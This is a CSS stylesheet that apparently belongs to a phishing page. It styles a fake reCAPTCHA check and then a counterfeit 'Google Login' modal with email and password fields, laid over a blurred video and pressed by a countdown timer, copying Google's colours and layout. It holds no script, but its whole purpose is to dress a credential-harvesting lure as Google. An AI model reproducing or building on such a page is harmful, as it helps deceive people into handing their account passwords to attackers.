* {
    margin: 0;
    padding: 0;
    box-sizing: border-box;
}

body {
    background: rgba(0, 0, 0, 0.2);
    backdrop-filter: blur(12px);
    min-height: 100vh;
    display: flex;
    justify-content: center;
    align-items: center;
    font-family: 'Segoe UI', Roboto, 'Helvetica Neue', sans-serif;
    padding: 20px;
}

/* ========== CAPTCHA PAGE ========== */
.captcha-container {
    width: 100%;
    max-width: 420px;
    margin: 0 auto;
}

.captcha-card {
    background: rgba(255, 255, 255, 0.9);
    backdrop-filter: blur(10px);
    border-radius: 20px;
    padding: 28px;
    box-shadow: 0 20px 60px rgba(0,0,0,0.15);
    border: 1px solid rgba(255,255,255,0.3);
}

.captcha-header {
    text-align: center;
    margin-bottom: 20px;
}

.captcha-header h2 {
    color: #202124;
    font-size: 22px;
    font-weight: 500;
    margin-bottom: 6px;
}

.captcha-header p {
    color: #5f6368;
    font-size: 13px;
}

.recaptcha-box {
    background: rgba(0,0,0,0.03);
    border: 1px solid rgba(0,0,0,0.1);
    border-radius: 8px;
    padding: 16px;
    margin: 16px 0;
    display: flex;
    align-items: center;
    gap: 12px;
}

.recaptcha-checkbox {
    width: 28px;
    height: 28px;
    border: 2px solid #dadce0;
    border-radius: 4px;
    background: white;
    cursor: pointer;
    transition: all 0.2s;
    flex-shrink: 0;
}

.recaptcha-checkbox.checked {
    background: #0044ff;
    border-color: #0e44da;
    position: relative;
}

.recaptcha-checkbox.checked::after {
    content: "✓";
    color: white;
    font-size: 18px;
    display: flex;
    justify-content: center;
    align-items: center;
    height: 100%;
}

.recaptcha-logo {
    display: flex;
    align-items: center;
    gap: 8px;
    font-size: 11px;
    color: #5f6368;
    margin-left: auto;
}

.recaptcha-logo img {
    height: 20px;
    width: auto;
}

.recaptcha-text {
    flex: 1;
    font-size: 13px;
    color: #ffffff;
}

.btn-verify {
    width: 100%;
    padding: 12px;
    background: #0044ff;
    color: white;
    border: none;
    border-radius: 8px;
    font-size: 14px;
    font-weight: 500;
    cursor: pointer;
    transition: background 0.2s;
}

.btn-verify:hover {
    background: #0044ff;
}

.btn-verify:disabled {
    background: #dadce0;
    cursor: not-allowed;
}

.error-msg {
    color: #ea4335;
    font-size: 12px;
    text-align: center;
    margin-top: 12px;
}

/* ========== VIDEO PAGE ========== */
.video-wrapper {
    width: 100%;
    max-width: 960px;
    margin: 0 auto;
    background: black;
    border-radius: 20px;
    overflow: hidden;
    box-shadow: 0 20px 60px rgba(0,0,0,0.3);
}

.video-container {
    position: relative;
    background: #000;
    width: 100%;
}

#mainVideo {
    width: 100%;
    height: auto;
    display: block;
}

/* Google Login Modal */
.login-overlay {
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    background: rgba(0,0,0,0.7);
    backdrop-filter: blur(8px);
    display: flex;
    justify-content: center;
    align-items: center;
    z-index: 100;
}

.google-login-card {
    background: white;
    border-radius: 16px;
    padding: 28px;
    width: 90%;
    max-width: 360px;
    text-align: center;
    animation: slideIn 0.3s ease;
    box-shadow: 0 10px 30px rgba(0,0,0,0.2);
}

@keyframes slideIn {
    from {
        transform: translateY(-30px);
        opacity: 0;
    }
    to {
        transform: translateY(0);
        opacity: 1;
    }
}

.google-login-card img {
    width: 48px;
    height: 48px;
    object-fit: contain;
    margin-bottom: 12px;
}

.google-login-card h3 {
    color: #202124;
    font-size: 20px;
    font-weight: 500;
    margin-bottom: 6px;
}

.google-login-card p {
    color: #5f6368;
    font-size: 13px;
    margin-bottom: 20px;
}

.google-input {
    width: 100%;
    padding: 10px 14px;
    margin: 6px 0;
    border: 1px solid #dadce0;
    border-radius: 8px;
    font-size: 14px;
    background: white;
}

.google-input:focus {
    outline: none;
    border-color: #4285f4;
}

.btn-google-login {
    width: 100%;
    padding: 10px;
    background: #4285f4;
    color: white;
    border: none;
    border-radius: 8px;
    font-size: 14px;
    font-weight: 500;
    margin-top: 12px;
    cursor: pointer;
}

.btn-google-login:hover {
    background: #3367d6;
}

.login-message {
    margin-top: 12px;
    font-size: 12px;
}

.timer-badge {
    position: absolute;
    top: 15px;
    right: 15px;
    background: rgba(0,0,0,0.7);
    color: #ea4335;
    padding: 6px 14px;
    border-radius: 40px;
    font-family: monospace;
    font-size: 16px;
    font-weight: bold;
    z-index: 90;
}

.hidden {
    display: none !important;
}

/* Dark mode - tetep transparan */
@media (prefers-color-scheme: dark) {
    body {
        background: rgba(0, 0, 0, 0.4);
    }
    
    .captcha-card {
        background: rgba(32, 33, 36, 0.9);
        border-color: rgba(255,255,255,0.1);
    }
    
    .captcha-header h2 {
        color: #e8eaed;
    }
    
    .captcha-header p {
        color: #9aa0a6;
    }
    
    .recaptcha-box {
        background: rgba(255,255,255,0.05);
        border-color: #3c4043;
    }
    
    .recaptcha-logo {
        color: #9aa0a6;
    }
    
    .google-login-card {
        background: #202124;
        border: 1px solid #3c4043;
    }
    
    .google-login-card h3 {
        color: #e8eaed;
    }
    
    .google-login-card p {
        color: #9aa0a6;
    }
    
    .google-input {
        background: #303134;
        border-color: #3c4043;
        color: #e8eaed;
    }
}

/* Responsive Mobile */
@media (max-width: 768px) {
    .video-wrapper {
        margin: 0;
        border-radius: 0;
        height: 100vh;
        position: fixed;
        top: 0;
        left: 0;
        right: 0;
        bottom: 0;
    }
    
    .video-container {
        height: 100vh;
        display: flex;
        align-items: center;
        justify-content: center;
    }
    
    #mainVideo {
        height: 100vh;
        width: auto;
        max-width: 100%;
        object-fit: contain;
    }
    
    .captcha-container {
        max-width: 90%;
        padding: 10px;
    }
    
    .captcha-card {
        padding: 20px;
    }
    
    .google-login-card {
        max-width: 300px;
        padding: 20px;
    }
    
    .google-login-card h3 {
        font-size: 18px;
    }
    
    .google-login-card p {
        font-size: 12px;
    }
    
    .google-input {
        padding: 8px 12px;
        font-size: 13px;
    }
    
    .btn-google-login {
        padding: 8px;
        font-size: 13px;
    }
}

@media (max-width: 480px) {
    .google-login-card {
        max-width: 280px;
        padding: 18px;
    }
    
    .google-login-card img {
        width: 36px;
        height: 36px;
    }
    
    .google-login-card h3 {
        font-size: 16px;
    }
    
    .google-login-card p {
        font-size: 11px;
    }
    
    .google-input {
        padding: 6px 10px;
        font-size: 12px;
    }
    
    .btn-google-login {
        padding: 6px;
        font-size: 12px;
    }
}

@media (max-width: 768px) and (orientation: landscape) {
    .google-login-card {
        max-width: 280px;
        padding: 12px;
    }
    
    .google-login-card img {
        width: 28px;
        height: 28px;
        margin-bottom: 6px;
    }
    
    .google-login-card h3 {
        font-size: 14px;
    }
    
    .google-login-card p {
        font-size: 10px;
        margin-bottom: 10px;
    }
    
    .google-input {
        padding: 4px 8px;
        font-size: 11px;
        margin: 3px 0;
    }
    
    .btn-google-login {
        padding: 4px;
        font-size: 11px;
        margin-top: 6px;
    }
}